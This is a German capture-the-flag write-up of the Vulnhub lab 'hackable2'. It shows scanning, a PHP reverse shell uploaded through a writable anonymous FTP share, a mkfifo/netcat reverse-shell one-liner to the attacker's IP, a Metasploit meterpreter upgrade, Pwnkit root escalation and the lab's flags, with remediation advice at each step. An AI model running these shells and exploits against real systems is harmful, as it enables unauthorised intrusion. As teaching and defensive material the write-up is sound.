hackable2 - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
nikto
ftp
cat
gobuster
dirsearch
curl
nc (netcat)
python3
find
stty
mkfifo
metasploit (msfconsole)
id
grep

Inhaltsverzeichnis

Reconnaissance

Wir beginnen mit einem ARP-Scan, um das Ziel im lokalen Netzwerk zu identifizieren, gefolgt von Port- und Service-Scans.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.116	08:00:27:24:72:1d	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` sucht mittels ARP-Protokoll nach aktiven Geräten im lokalen Netzwerk.

Bewertung: Ein Host mit der IP `192.168.2.116` wurde erfolgreich gefunden. Die MAC-Adresse (`08:00:27:24:72:1d`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.

Empfehlung (Pentester): Ziel-IP notieren und mit weiteren Scans fortfahren.
Empfehlung (Admin): Netzwerksegmentierung und -überwachung können zur Erkennung beitragen.

Ein umfassender Nmap-Scan wird durchgeführt, um offene Ports, Dienste und Betriebssysteminformationen zu sammeln.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.116 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-29 23:40 CEST
Nmap scan report for ubuntu (192.168.2.116)
Host is up (0.00013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 0        0             109 Nov 26  2020 CALL.html
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 2f:c6:2f:c4:6d:a6:f5:5b:c2:1b:f9:17:1f:9a:09:89 (RSA) 
|   256 5e:91:1b:6b:f1:d8:81:de:8b:2c:f3:70:61:ea:6f:29 (ECDSA) 
|_  256 f1:98:21:91:c8:ee:4d:a2:83:14:64:96:37:5b:44:3d (ED25519) 
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:24:72:1D (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms ubuntu (192.168.2.116)
                    

Analyse: `nmap` scannt alle TCP-Ports (`-p-`) mit SYN-Scan (`-sS`), Standard-Skripten (`-sC`), schnellem Timing (`-T5`) sowie OS- und Service-Erkennung (`-A`, `-O`).

Bewertung: Der Scan identifiziert drei offene Ports:

Das Betriebssystem wird als Linux (vermutlich Ubuntu 16.04 basierend auf den Dienstversionen) erkannt. Der anonyme FTP-Zugang ist der primäre und vielversprechendste Angriffsvektor.

Empfehlung (Pentester): Untersuchen Sie sofort den anonymen FTP-Zugang auf Port 21. Laden Sie die Datei `CALL.html` herunter und analysieren Sie sie. Überprüfen Sie den Webserver auf Port 80 auf weitere Inhalte.
Empfehlung (Admin): Deaktivieren Sie den anonymen FTP-Zugang, wenn er nicht betriebsnotwendig ist. Aktualisieren Sie ProFTPD, OpenSSH und Apache auf aktuelle Versionen.

Zur Übersicht filtern wir die offenen Ports.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.116 -p- | grep open
21/tcp open  ftp     ProFTPD
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
                    

Analyse: Filtert die Nmap-Ausgabe nach offenen Ports.

Bewertung: Bestätigt die drei offenen Ports 21, 22 und 80.

Empfehlung (Pentester): Klar definierte Angriffsvektoren.
Empfehlung (Admin): Notwendigkeit prüfen.

Ein Nikto-Scan wird gegen den Webserver durchgeführt.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.116
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.116
+ Target Hostname:    192.168.2.116
+ Target Port:        80
+ Start Time:         2023-05-29 23:41:36 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 2be7, size: 5b504999e72a0, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /files/: Directory indexing found.
+ /files/: This might be interesting.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2023-05-29 23:41:51 (GMT2) (15 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Analyse: Nikto scannt den Webserver auf Port 80.

Bewertung: Bestätigt die veraltete Apache-Version (2.4.18), fehlende Security Header und das ETag-Leak. Findet zusätzlich ein Verzeichnis `/files/` mit aktiviertem Directory Indexing und die Standarddatei `/icons/README`.

Empfehlung (Pentester): Untersuchen Sie den Inhalt des Verzeichnisses `/files/`.
Empfehlung (Admin): Aktualisieren Sie Apache. Implementieren Sie Security Header. Deaktivieren Sie Directory Indexing für `/files/` und entfernen Sie `/icons/README`.

FTP Enumeration

Wir verbinden uns mit dem FTP-Dienst und untersuchen den anonymen Zugang.

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.116
Connected to 192.168.2.116.
220 ProFTPD Server (ProFTPD Default Installation) [192.168.2.116]
Name (192.168.2.116:cyber): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
                    

Analyse: Verbindung zum FTP-Server und Anmeldung als Benutzer `anonymous` ohne Passwort.

Bewertung: Anonymer Login erfolgreich.

Empfehlung (Pentester): Verzeichnisinhalt auflisten.
Empfehlung (Admin): Anonymen Zugang deaktivieren, falls nicht benötigt.

ftp> ls -la
229 Entering Extended Passive Mode (|||48554|)
150 Opening ASCII mode data connection for file list
drwxr-xrwx   2 33       33           4096 Nov 26  2020 .
drwxr-xrwx   2 33       33           4096 Nov 26  2020 ..
-rw-r--r--   1 0        0             109 Nov 26  2020 CALL.html
226 Transfer complete
                     

Analyse: Listet den Inhalt des FTP-Stammverzeichnisses auf.

Bewertung: Findet die bereits von Nmap gemeldete Datei `CALL.html`. Wichtig: Das aktuelle Verzeichnis (`.`) hat Schreibrechte für Alle (`drwxr-xrwx`) und gehört dem Benutzer mit UID 33 (oft `www-data`).

Empfehlung (Pentester): Laden Sie `CALL.html` herunter. Beachten Sie die Schreibrechte – hier könnte möglicherweise eine Datei hochgeladen werden.
Empfehlung (Admin): **Kritisch!** Entfernen Sie die Schreibrechte für anonyme Benutzer auf dem FTP-Server (`chmod o-w /path/to/ftp/root`).

ftp> get CALL.html
local: CALL.html remote: CALL.html
229 Entering Extended Passive Mode (|||34471|)
150 Opening BINARY mode data connection for CALL.html (109 bytes)
100% |*************************************************|   109      412.57 KiB/s    00:00 ETA
226 Transfer complete
109 bytes received in 00:00 (145.02 KiB/s)
                     

Analyse: Lädt die Datei `CALL.html` herunter.

Bewertung: Download erfolgreich.

Empfehlung (Pentester): Analysieren Sie den Inhalt von `CALL.html`.
Empfehlung (Admin): Keine Aktion.

Versuche, in andere Verzeichnisse zu wechseln, scheitern, was auf eine Chroot-Umgebung hindeutet.

ftp> cd /var
550 /var: No such file or directory
ftp> cd ~
550 ~: No such file or directory
ftp> cd /home
550 /home: No such file or directory

Analyse: Versuche, das aktuelle Verzeichnis zu verlassen.

Bewertung: Alle Versuche scheitern, was eine `chroot`-Konfiguration bestätigt. Der Benutzer ist auf das FTP-Stammverzeichnis beschränkt.

Empfehlung (Pentester): Fokus auf das aktuelle Verzeichnis.
Empfehlung (Admin): `chroot` ist eine sinnvolle Sicherheitsmaßnahme.

Ein erster Versuch, eine Datei hochzuladen, scheitert, wahrscheinlich wegen eines falschen lokalen Pfads.

ftp> put HackingTools/revshell.php
local: HackingTools/revshell.php remote: HackingTools/revshell.php
229 Entering Extended Passive Mode (|||56029|)
550 HackingTools/revshell.php: No such file or directory
                     

Analyse: Versuch, eine Datei aus einem Unterverzeichnis hochzuladen.

Bewertung: Fehlschlag, weil die lokale Datei nicht gefunden wurde (`No such file or directory`). Dies sagt noch nichts über die Schreibrechte auf dem Server aus.

Empfehlung (Pentester): Stellen Sie sicher, dass sich die hochzuladende Datei im aktuellen lokalen Verzeichnis befindet oder geben Sie den korrekten lokalen Pfad an.
Empfehlung (Admin): Keine Aktion.

Wir verlassen die FTP-Sitzung.

ftp> exit
221 Goodbye.
                     

Web Enumeration

Wir analysieren die heruntergeladene Datei und untersuchen den Webserver weiter.

┌──(root㉿cyber)-[~] └─# cat CALL.html
 onion GET READY TO RECEIVE A CALL
                     

Analyse: Der Inhalt der Datei `CALL.html` wird angezeigt.

Bewertung: Enthält die Wörter "onion" und "CALL". "Onion" könnte auf das Tor-Netzwerk, einen Benutzernamen oder ein Passwort hindeuten. "CALL" könnte sich auf einen Rückruf (Reverse Shell) oder eine Telefonnummer beziehen. Ein eher kryptischer Hinweis.

Empfehlung (Pentester): Notieren Sie "onion" als potenziellen Benutzernamen/Passwort-Hinweis. Behalten Sie die Idee einer "Call"-Back-Verbindung im Hinterkopf.
Empfehlung (Admin): Entfernen Sie solche unklaren oder potenziell irreführenden Dateien.

Wir führen Gobuster gegen den Webserver aus (scheinbar mit falschem Hostnamen `hackable.local` statt der IP oder `ubuntu`).

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://hackable.local -x txt,php,[...],kdbx -w "/usr/share/seclists/[...]" -b '403,404' -e --no-error
=============================================================== 
http://hackable.local/index.html           (Status: 200) [Size: 11239]
http://hackable.local/files                (Status: 301) [Size: 316] [--> http://hackable.local/files/]
=============================================================== 
                    

Analyse: Gobuster scannt `http://hackable.local`.

Bewertung: Findet `/index.html` und das bereits von Nikto gefundene Verzeichnis `/files/`. Der verwendete Hostname `hackable.local` ist nicht der, den wir in `/etc/hosts` definiert haben oder der vom System zurückgegeben wurde (`ubuntu`). Es ist unklar, ob dieser Scan tatsächlich das richtige Ziel erreicht hat oder ob hier ein Fehler im Log vorliegt.

Empfehlung (Pentester): Verwenden Sie konsistent die korrekte IP oder den definierten Hostnamen. Untersuchen Sie das Verzeichnis `/files/` auf dem Ziel `192.168.2.116`.
Empfehlung (Admin): Keine spezifische Aktion.

Analyse des Quellcodes der Startseite (implizit, da nicht direkt gecattet):

 
    Do you like gobuster? dirb? etc...
 
                    

Analyse: Im HTML-Quellcode der Startseite befindet sich ein Kommentar.

Bewertung: Der Kommentar scheint den Benutzer zu ermutigen, Directory Brute-Forcing Tools zu verwenden, was wir bereits tun.

Empfehlung (Pentester): Bestätigt, dass Web-Enumeration ein wichtiger Schritt ist.
Empfehlung (Admin): Entfernen Sie solche Kommentare.

Ein alternativer Scan mit `dirsearch`.

┌──(root㉿cyber)-[~] └─# dirsearch -u http://hackable.local -w /usr/share/seclists/Discovery/Web-Content/common.txt
  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 4715

Output File: /root/.dirsearch/reports/hackable.local/_23-05-29_23-59-53.txt

Error Log: /root/.dirsearch/logs/errors-23-05-29_23-59-53.log

Target: http://hackable.local/

[23:59:53] Starting:
[23:59:56] 301 -  316B  - /files  ->  http://hackable.local/files/
[23:59:57] 200 -   11KB - /index.html
[00:00:02] 403 -  279B  - /server-status

                     

Analyse: `dirsearch` wird verwendet, um nach häufigen Web-Verzeichnissen und Dateien zu suchen.

Bewertung: Bestätigt `/files/` und `/index.html`. Findet auch `/server-status`, das aber den Status 403 (Forbidden) zurückgibt. Auch hier wird der Hostname `hackable.local` verwendet.

Empfehlung (Pentester): Konzentrieren Sie sich auf das zugängliche Verzeichnis `/files/` auf der korrekten IP `192.168.2.116`.
Empfehlung (Admin): Stellen Sie sicher, dass `/server-status` deaktiviert oder stark eingeschränkt ist.

Initial Access

Da der anonyme FTP-Zugang Schreibrechte erlaubt, laden wir eine PHP-Reverse-Shell hoch und führen sie über den Webserver aus.

Wir verbinden uns erneut mit dem FTP-Server.

┌──(root㉿cyber)-[~/HackingTools] └─# ftp 192.168.2.116
Connected to 192.168.2.116.
220 ProFTPD Server (ProFTPD Default Installation) [192.168.2.116]
Name (192.168.2.116:cyber): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
230 Anonymous access granted, restrictions apply
Remote system type is UNIX.
Using binary mode to transfer files.
                     

Analyse: Erneuter anonymer FTP-Login.

Bewertung: Zugriff hergestellt.

Empfehlung (Pentester): Laden Sie die vorbereitete Reverse Shell hoch.
Empfehlung (Admin): Beheben Sie die Schreibrechte für anonyme Benutzer!

Wir laden die vorbereitete `revshell.php` hoch.

ftp> put revshell.php
local: revshell.php remote: revshell.php
229 Entering Extended Passive Mode (|||31025|)
150 Opening BINARY mode data connection for revshell.php
100% |*************************************************|  5495      201.55 MiB/s    00:00 ETA
226 Transfer complete
5495 bytes sent in 00:00 (18.51 MiB/s)
                     

Analyse: Die Datei `revshell.php` (aus dem aktuellen lokalen Verzeichnis `~/HackingTools`) wird auf den FTP-Server hochgeladen.

Bewertung: Erfolgreich! Der anonyme FTP-Server erlaubt tatsächlich Schreibzugriff. Dies ist eine kritische Fehlkonfiguration.

Empfehlung (Pentester): Bestimmen Sie den Web-Pfad zur hochgeladenen Datei und starten Sie einen Listener.
Empfehlung (Admin): **Dringend** Schreibrechte für anonyme FTP-Benutzer entfernen!

Wir überprüfen den Inhalt des FTP-Verzeichnisses.

ftp> ls
229 Entering Extended Passive Mode (|||57156|)
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 0        0             109 Nov 26  2020 CALL.html
-rw-r--r--   1 ftp      ftp          1798 May 29 22:03 dict2.phtml
-rw-r--r--   1 ftp      ftp          1798 May 29 22:03 dict2.txt
-rw-r--r--   1 ftp      ftp            31 May 29 22:14 file.Php
-rw-r--r--   1 ftp      ftp            31 May 29 22:12 file.png.Php
-rw-r--r--   1 ftp      ftp            31 May 29 22:10 file.png.Php5
-rw-r--r--   1 ftp      ftp            31 May 29 22:08 rev.phar
-rw-r--r--   1 ftp      ftp            31 May 29 22:06 rev.phtml
-rw-r--r--   1 ftp      ftp          5495 May 29 22:19 revshell.php 
226 Transfer complete
                     

Analyse: Listet den Inhalt des FTP-Verzeichnisses nach dem Upload.

Bewertung: Zeigt unsere hochgeladene `revshell.php` sowie eine Reihe anderer Dateien, die möglicherweise von früheren Versuchen oder anderen Benutzern stammen (z.B. `dict2.phtml`, `file.Php`, etc.). Unsere Datei gehört dem Benutzer `ftp`, Gruppe `ftp`.

Empfehlung (Pentester): Der nächste Schritt ist, den Web-Pfad zu finden, der auf dieses FTP-Verzeichnis zeigt. Das von Nikto gefundene `/files/`-Verzeichnis ist ein heißer Kandidat.
Empfehlung (Admin): Bereinigen Sie das FTP-Verzeichnis und entfernen Sie die Schreibrechte.

Wir starten einen Netcat-Listener auf unserem System.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
                     

Analyse: `nc -lvnp 9001` startet einen Listener auf TCP-Port 9001.

Bewertung: Der Listener ist bereit, die eingehende Verbindung der Reverse Shell zu empfangen.

Empfehlung (Pentester): Lösen Sie die Shell aus, indem Sie die URL zur `revshell.php` aufrufen.
Empfehlung (Admin): Ausgehende Verbindungen vom Webserver kontrollieren.

Wir lösen die Reverse Shell aus, indem wir die URL zur hochgeladenen PHP-Datei aufrufen.

┌──(root㉿cyber)-[~/HackingTools] └─# curl http://hackable.local/files/revshell.php

                    

Analyse: `curl` wird verwendet, um eine HTTP-Anfrage an `http://hackable.local/files/revshell.php` zu senden. Wir nehmen an, dass das Web-Verzeichnis `/files/` auf das FTP-Stammverzeichnis zeigt. Dadurch wird das PHP-Skript auf dem Server ausgeführt.

Bewertung: Der Aufruf löst die Ausführung der `revshell.php` aus, die sich zurück zu unserem Netcat-Listener verbindet.

Empfehlung (Pentester): Überprüfen Sie das Listener-Fenster auf die eingehende Verbindung.
Empfehlung (Admin): Verhindern Sie die Ausführung von Skripten in Verzeichnissen, die über FTP beschreibbar sind. Konfigurieren Sie Webserver und PHP sicher.

Die Verbindung kommt beim Listener an.

┌──(root㉿cyber)-[~] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.113] from (UNKNOWN) [192.168.2.116] 43954 
Linux ubuntu 4.4.0-194-generic #226-Ubuntu SMP Wed Oct 21 10:19:36 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 19:20:14 up 40 min,  0 users,  load average: 0.00, 0.01, 0.33
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
                    

Analyse: Der Netcat-Listener zeigt eine eingehende Verbindung von der Ziel-IP (`192.168.2.116`). Systeminformationen und der Benutzer (`www-data`) werden angezeigt. Wir haben eine Shell.

Bewertung: Initial Access erfolgreich! Wir haben eine Shell als Webserver-Benutzer `www-data` erlangt. Die Shell ist jedoch nicht vollständig interaktiv.

Empfehlung (Pentester): Stabilisieren Sie die Shell für eine bessere Benutzerfreundlichkeit (z.B. mit Python PTY). Beginnen Sie mit der lokalen Enumeration als `www-data`.
Empfehlung (Admin): Beheben Sie die FTP-Schreibrechte und die Möglichkeit, PHP-Dateien in Web-zugänglichen Verzeichnissen auszuführen.

Wir stabilisieren die Shell mit Python PTY und stty.

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@ubuntu:/$
www-data@ubuntu:/$ export TERM=xterm
┌──(root㉿cyber)-[~] └─# stty raw -echo;fg
[1]  + continued  nc -lvnp 9001
# reset
  
www-data@ubuntu:/$

Analyse: Standardverfahren zur Stabilisierung einer einfachen Netcat-Shell: Python wird verwendet, um eine Pseudo-Terminal (PTY) zu erzeugen, die `TERM`-Variable wird gesetzt, der Listener-Prozess wird lokal in den Hintergrund geschickt (`^Z`), das lokale Terminal wird auf `raw -echo` gesetzt, der Listener wird wieder in den Vordergrund geholt (`fg`), und das Terminal wird mit `reset` neu initialisiert.

Bewertung: Die Shell ist nun vollständig interaktiv, was die weitere Arbeit erleichtert (z.B. Tab-Vervollständigung, Pfeiltasten).

Empfehlung (Pentester): Fahren Sie mit der lokalen Enumeration fort.
Empfehlung (Admin): Keine spezifische Aktion.

Local Enumeration

Wir suchen nach Möglichkeiten zur Privilegienerweiterung von `www-data` aus.

www-data@ubuntu:/var/backups$ find / -type f -perm -4000 -ls 2>/dev/null
   390215     44 -rwsr-xr-x   1 root     root        44168 May  7  2014 /bin/ping
   399794     32 -rwsr-xr-x   1 root     root        30800 Jul 12  2016 /bin/fusermount
   390205     40 -rwsr-xr-x   1 root     root        40152 Jan 27  2020 /bin/mount
   390232     40 -rwsr-xr-x   1 root     root        40128 Mar 26  2019 /bin/su
   390249     28 -rwsr-xr-x   1 root     root        27608 Jan 27  2020 /bin/umount
   390216     44 -rwsr-xr-x   1 root     root        44680 May  7  2014 /bin/ping6
      205     76 -rwsr-xr-x   1 root     root        75304 Mar 26  2019 /usr/bin/gpasswd
      147     72 -rwsr-xr-x   1 root     root        71824 Mar 26  2019 /usr/bin/chfn
      274     56 -rwsr-xr-x   1 root     root        54256 Mar 26  2019 /usr/bin/passwd
    17908     36 -rwsr-xr-x   1 root     root        32944 Mar 26  2019 /usr/bin/newgidmap
      149     40 -rwsr-xr-x   1 root     root        40432 Mar 26  2019 /usr/bin/chsh
    17909     36 -rwsr-xr-x   1 root     root        32944 Mar 26  2019 /usr/bin/newuidmap
    19449     24 -rwsr-xr-x   1 root     root        23376 Mar 27  2019 /usr/bin/pkexec
    18865     52 -rwsr-sr-x   1 daemon   daemon      51464 Jan 14  2016 /usr/bin/at
      264     40 -rwsr-xr-x   1 root     root        39904 Mar 26  2019 /usr/bin/newgrp
      354    136 -rwsr-xr-x   1 root     root       136808 Jan 31  2020 /usr/bin/sudo
      451     12 -rwsr-xr-x   1 root     root        10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
    17890     84 -rwsr-xr-x   1 root     root        84120 Apr  9  2019 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
    29970    112 -rwsr-xr-x   1 root     root       110792 Oct 12  2020 /usr/lib/snapd/snap-confine
   269956     44 -rwsr-xr--   1 root     messagebus    42992 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    19445     16 -rwsr-xr-x   1 root     root          14864 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
    18627    420 -rwsr-xr-x   1 root     root         428240 May 26  2020 /usr/lib/openssh/ssh-keysign
                     

Analyse: Sucht nach Dateien mit gesetztem SUID-Bit.

Bewertung: Findet eine Reihe von Standard-SUID-Dateien. `/usr/bin/pkexec` ist wieder vorhanden (Pwnkit-Potenzial). `/usr/bin/sudo` ist ebenfalls vorhanden.

Empfehlung (Pentester): Überprüfen Sie die Version von `pkexec` oder testen Sie auf Pwnkit. Prüfen Sie, ob `www-data` irgendwelche `sudo`-Rechte hat (unwahrscheinlich). Suchen Sie nach anderen Vektoren (Kernel-Exploits, Fehlkonfigurationen, Cronjobs).
Empfehlung (Admin): Minimieren Sie SUID-Binaries. Patchen Sie `polkit`.

An dieser Stelle folgt im Log die Einrichtung einer weiteren Reverse Shell über `mkfifo` und Netcat, die dann zu Metasploit verbunden und zu Meterpreter aufgewertet wird. Dies dient wahrscheinlich dazu, eine zuverlässigere Verbindung für die Ausführung von Metasploit-Modulen zu erhalten.

www-data@ubuntu:/$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.113 4444 >/tmp/f

                     
msf6 > use multi/handler
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.113:4444
[*] Command shell session 1 opened (192.168.2.113:4444 -> 192.168.2.116:58658) at 2023-05-30 00:27:42 +0200
Shell Banner:
$
-----

$
                    
msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.113:4433
[*] Sending stage (1017704 bytes) to 192.168.2.116
[*] Meterpreter session 2 opened (192.168.2.113:4433 -> 192.168.2.116:37660) at 2023-05-30 00:29:56 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                    

Analyse: Eine zweite, stabilere Reverse-Shell-Verbindung wird mittels `mkfifo` und `nc` aufgebaut und an einen Metasploit-Listener (Port 4444) gesendet. Diese Shell (Session 1) wird dann mit `shell_to_meterpreter` zu einer Meterpreter-Sitzung (Session 2 auf Port 4433) aufgewertet.

Bewertung: Erfolgreiche Etablierung einer Meterpreter-Sitzung als `www-data`. Dies bietet eine robustere Plattform für weitere Aktionen.

Empfehlung (Pentester): Verwenden Sie die Meterpreter-Sitzung (Session 2) für die weitere Enumeration und Privilegienerweiterung.
Empfehlung (Admin): Überwachung und Beschränkung ausgehender Verbindungen.

Wir verwenden den `local_exploit_suggester` in Metasploit.

msf6 post(multi/manage/shell_to_meterpreter) > use multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.116 - Collecting local exploits for x86/linux...
[*] 192.168.2.116 - 184 exploit checks are being tried...
[+] 192.168.2.116 - exploit/linux/local/bpf_sign_extension_priv_esc: The target appears to be vulnerable. 
[*] Running check method for exploit 12 / 57
                    

Analyse: Der `local_exploit_suggester` wird auf die Meterpreter-Sitzung 2 angewendet.

Bewertung: Der Suggester identifiziert `exploit/linux/local/bpf_sign_extension_priv_esc` (CVE-2022-23222) als potenzielle Schwachstelle. Interessanterweise wird Pwnkit hier *nicht* explizit als "vulnerable" gemeldet, obwohl `pkexec` vorhanden ist. Dies kann an der Art liegen, wie der Suggester die Anfälligkeit prüft, oder an der spezifischen Konfiguration.

Empfehlung (Pentester): Versuchen Sie den vorgeschlagenen BPF-Exploit. Da Pwnkit (CVE-2021-4034) jedoch oft sehr zuverlässig ist und `pkexec` vorhanden ist (Datum 2019), ist es sinnvoll, diesen Exploit ebenfalls manuell zu versuchen, falls der BPF-Exploit fehlschlägt. (Der weitere Logverlauf zeigt, dass Pwnkit verwendet wird).
Empfehlung (Admin): Patchen Sie den Kernel (für BPF-Schwachstellen) und Polkit.

Proof of Concept (Privilege Escalation via Pwnkit)

Dieser Abschnitt beschreibt die Ausnutzung der Pwnkit-Schwachstelle (CVE-2021-4034) im Polkit-Dienst (`pkexec`), um von der Meterpreter-Sitzung als `www-data` zu Root-Rechten zu gelangen.

Kurzbeschreibung: Obwohl der Exploit-Suggester Pwnkit nicht explizit hervorhob, ist `pkexec` vorhanden. Wir entscheiden uns, den zuverlässigen Pwnkit-Exploit aus Metasploit manuell zu verwenden, um Root-Rechte zu erlangen.

Voraussetzungen: Aktive Meterpreter-Sitzung als `www-data` (Session 2). Vorhandensein einer anfälligen Version von `pkexec` auf dem Zielsystem.

Schritt 1: Ausführung des Pwnkit-Exploits

Wir laden das Pwnkit-Modul in Metasploit, konfigurieren es für unsere Meterpreter-Sitzung und führen es aus.

msf6 post(multi/recon/local_exploit_suggester) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.113:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.uzslbudyme
[+] The target is vulnerable.
[*] Writing '/tmp/.futwlma/suosrc/suosrc.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.futwlma
[*] Sending stage (3045348 bytes) to 192.168.2.116
[+] Deleted /tmp/.futwlma/suosrc/suosrc.so
[+] Deleted /tmp/.futwlma/.hvmkctqzjo
[+] Deleted /tmp/.futwlma
[*] Meterpreter session 3 opened (192.168.2.113:4444 -> 192.168.2.116:58664) at 2023-05-30 00:34:26 +0200 
                    

Analyse: Das Pwnkit-Exploit-Modul wird geladen und gegen die Meterpreter-Sitzung 2 ausgeführt. Es wird ein neuer Listener auf Port 4444 gestartet. Der Exploit prüft die Anfälligkeit, lädt notwendige Dateien hoch, führt den Exploit aus und bereinigt die temporären Dateien.

Bewertung: Erfolg! Der Exploit meldet, dass das Ziel anfällig ist und öffnet eine neue Meterpreter-Sitzung (Session 3).

Empfehlung (Pentester): Wechseln Sie zur neuen Meterpreter-Sitzung 3 und überprüfen Sie die Rechte.
Empfehlung (Admin): Dringend Polkit patchen (CVE-2021-4034).

Schritt 2: Bestätigung des Root-Zugriffs

Wir interagieren mit der neuen Meterpreter-Sitzung.

meterpreter > sysinfo
Computer     : 192.168.2.116
OS           : Ubuntu 16.04 (Linux 4.4.0-194-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
                     
meterpreter > shell
Process 1917 created.
Channel 2 created.
                     
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
                     

Analyse: Nach dem Wechsel zu Session 3 (implizit) wird `sysinfo` ausgeführt, was OS-Details bestätigt (Ubuntu 16.04, Kernel 4.4). Dann wird mit `shell` eine System-Shell geöffnet und `id` ausgeführt.

Bewertung: Die Ausgabe `uid=0(root)` bestätigt, dass die neue Sitzung Root-Rechte hat. Die Privilegienerweiterung war erfolgreich.

Empfehlung (Pentester): Ziel erreicht. Sammeln Sie die Flags.
Empfehlung (Admin): Patchen, patchen, patchen!

Risikobewertung: Die Kombination aus einer unsicheren FTP-Konfiguration (anonym, beschreibbar), die das Hochladen einer Webshell ermöglichte, und einer ungepatchten Pwnkit-Schwachstelle (CVE-2021-4034) stellt ein kritisches Risiko dar. Sie ermöglichte einem Angreifer mit Netzwerkzugriff die Eskalation von keiner Authentifizierung zu vollen Root-Rechten.

Empfehlungen (Zusammenfassung):

Flags

cat /home/USER/user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/root.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A